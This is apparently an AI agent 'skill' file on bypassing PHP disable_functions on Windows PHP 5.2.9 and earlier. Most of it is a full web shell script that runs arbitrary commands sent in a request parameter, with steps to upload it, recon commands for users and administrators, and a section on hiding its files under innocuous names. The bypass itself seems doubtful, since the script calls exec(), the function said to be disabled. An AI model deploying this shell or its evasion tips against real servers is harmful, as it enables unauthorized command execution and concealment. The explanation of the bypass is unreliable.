abelrguezr PHP disable_functions Bypass (Windows PHP <= 5.2.9)
Overview
This skill provides techniques to bypass PHP's disable_functions directive on Windows systems running PHP versions 5.2.9 and earlier. The vulnerability exploits how Windows handles path separators differently than Linux, allowing command execution even when functions like exec(), system(), and shell_exec() are disabled.
When to Use
Use this skill when:
- You have explicit authorization to test a Windows-based PHP application
- The target is running PHP version 5.2.9 or earlier
- Functions like
exec(),system(),shell_exec(),passthru()are disabled in php.ini - You need to execute system commands for security assessment purposes
- You're conducting penetration testing or vulnerability assessments
Technical Background
The Vulnerability
On Linux, directory paths must use forward slashes (/usr/bin/php). On Windows, both forward slashes and backslashes work (c:\php and c:/php are equivalent). PHP's implementation doesn't properly distinguish between these on Windows, allowing the backslash character to escape certain restrictions.
Why It Works
When disable_functions is enabled in php.ini, PHP blocks direct command execution. However, the backslash escape technique allows creating and executing batch files indirectly, bypassing the restriction.
Exploitation Technique
Step 1: Create the Exploit Script
Upload the following PHP script to the target server:
<?php
// disable_functions_bypass.php
// Bypass for PHP <= 5.2.9 on Windows
$cmd = $_REQUEST['cmd'];
if ($cmd) {
// Create a batch file with the command
$batch = fopen("cmd.bat", "w");
fwrite($batch, "$cmd > abysssec.txt" . "\r\n");
fwrite($batch, "exit");
fclose($batch);
// Execute the batch file using backslash escape
exec("\\start cmd.bat");
// Display results
echo "<center>";
echo "<h1>Command Execution Results</h1>";
echo "<textarea rows=20 cols=60>";
if (file_exists("abysssec.txt")) {
require("abysssec.txt");
}
echo "</textarea>";
echo "</center>";
}
?>
<html>
<body bgcolor="#000000" text="#FF0000">
<center>
<form method="post">
<input type="text" name="cmd" placeholder="Enter command (e.g., whoami, dir, ipconfig)" style="width: 400px;">
<input type="submit" value="Execute">
</form>
</center>
</body>
</html>
Step 2: Execute Commands
Access the uploaded script via browser and submit commands:
http://target.com/disable_functions_bypass.php
Step 3: Review Output
The script creates cmd.bat and abysssec.txt in the same directory. Results are displayed in the textarea.
Common Commands for Testing
| Command | Purpose |
|---|---|
whoami |
Identify current user context |
dir |
List directory contents |
ipconfig /all |
Network configuration |
systeminfo |
System information |
net user |
List local users |
net localgroup administrators |
List administrators |
hostname |
Get machine name |
Detection Evasion
File Naming
Use obfuscated names to avoid detection:
cmd.bat→temp_file.tmp,update.log,error_report.txtabysssec.txt→debug.txt,cache.dat,session.tmp
Cleanup
After testing, remove created files:
<?php
// Cleanup script
@unlink("cmd.bat");
@unlink("abysssec.txt");
echo "Files cleaned up";
?>
Limitations
- Version Specific: Only works on PHP <= 5.2.9
- Platform Specific: Only works on Windows
- File Permissions: Requires write permissions to the web directory
- Modern Systems: Ineffective on PHP 5.3+ and all Linux systems
Verification
Before attempting exploitation, verify the target meets requirements:
- Check PHP Version: Look for version banners in HTTP headers or error messages
- Confirm Windows: Check for Windows-specific error messages or headers
- Test disable_functions: Try executing a simple command to confirm restrictions
<?php
// Check if exec is disabled
if (function_exists('exec')) {
echo "exec() is available - no bypass needed";
} else {
echo "exec() is disabled - bypass may be possible";
}
// Check PHP version
phpinfo();
?>
Legal and Ethical Considerations
⚠️ IMPORTANT: Only use this technique on systems where you have:
- Written authorization from the system owner
- Explicit permission in your scope of work
- Proper legal documentation (engagement letter, rules of engagement)
Unauthorized use of this technique may violate:
- Computer Fraud and Abuse Act (CFAA)
- Local cybersecurity laws
- Terms of service agreements
References
- Original Advisory: Abysssec Inc Public Advisory
- CVE: Not formally assigned (version-specific vulnerability)
- Platform: Windows with PHP <= 5.2.9
Related Techniques
If this bypass doesn't work, consider:
- PHP filter wrappers (
php://filter) assert()function exploitationpreg_replace()with/emodifier (PHP < 5.5)base64_decode()witheval()create_function()exploitation
Remediation
For system administrators:
- Upgrade PHP: Move to PHP 7.4+ (PHP 5.x is end-of-life)
- Use suhosin: Install Suhosin PHP extension for additional protection
- Disable dangerous functions: Keep
disable_functionsbut understand its limitations - File permissions: Restrict write access to web directories
- Web Application Firewall: Deploy WAF to detect and block exploitation attempts